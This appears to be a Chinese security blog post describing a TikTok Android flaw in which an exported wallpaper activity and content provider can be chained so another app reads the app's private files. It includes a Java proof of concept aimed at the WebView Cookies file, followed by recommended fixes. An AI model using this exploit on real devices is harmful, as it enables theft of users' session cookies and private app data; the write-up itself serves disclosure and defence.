Skip to content
On this page

Tiktok目前最流行的App,其公司也投入了大量的人力物力来保证App的安全,但是仍然存在严重的漏洞. 今天说的是一个可以clone整个App的漏洞. 和 Android中WebView的跨域漏洞分析和应用被克隆问题情景还原(免Root获取应用沙盒数据)效果是一样的.

漏洞描述

首先com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity 是导出的Activity,可以接受用户指定的文件并将其设置为墙纸. 用到的关键数据结构是com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean,墙纸的路径是live_wall_paper. 这个值被保存在了LiveWallPaperManager中. 然后是另一个导出的Provider WallPaperDataProvider,可以通过content://com.zhiliaoapp.musically.wallpapercaller/video_path来读取当前的墙纸.

至此一条完整的攻击链路已经建立,攻击者首先设置App内部的任意文件为墙纸,然后就可以通过 WallPaperDataProvider来读取它. 通过不停的遍历文件,就可以达到应用clone的目的.

poc

java
    String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/Default/Cookies";

    LiveWallPaperBean bean = new LiveWallPaperBean();
    bean.height = 100;
    bean.width = 100;
    bean.id = "1337";
    bean.source = theft;
    bean.thumbnailPath = theft;
    bean.videoPath = theft;

    Intent intent = new Intent();
    intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity");
    intent.putExtra("live_wall_paper", bean);
    startActivity(intent);

    Uri uri = Uri.parse("content://com.zhiliaoapp.musically.wallpapercaller/video_path");
    new Handler().postDelayed(() -> {
        try {
            Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
        }
        catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }, 15000);

如何修复以及防范呢?

这个修复很直观,我们只要限定设定的墙纸必须是有效的图片即可, 或者干脆禁止WallPaperDataProvider,不能再取回墙纸.

这种类型的漏洞其实是比较难以防范,更像是逻辑漏洞. 但是如果我们坚持了一个基本原则,凡是外部用户可以输入的数据都不信任,都要校验,那么这种漏洞其实也是可以幸免的,至少危害不会那么大.这里API的目的就是设置墙纸,那么就应该严格限定只能是墙纸.

  1. 墙纸必须是有效的图片文件
  2. 墙纸来源不能是App自身的文件

就算是只是限定了条件1,那么危害性也会大大降低.

参考文档: Oversecured detects dangerous vulnerabilities in the TikTok Android app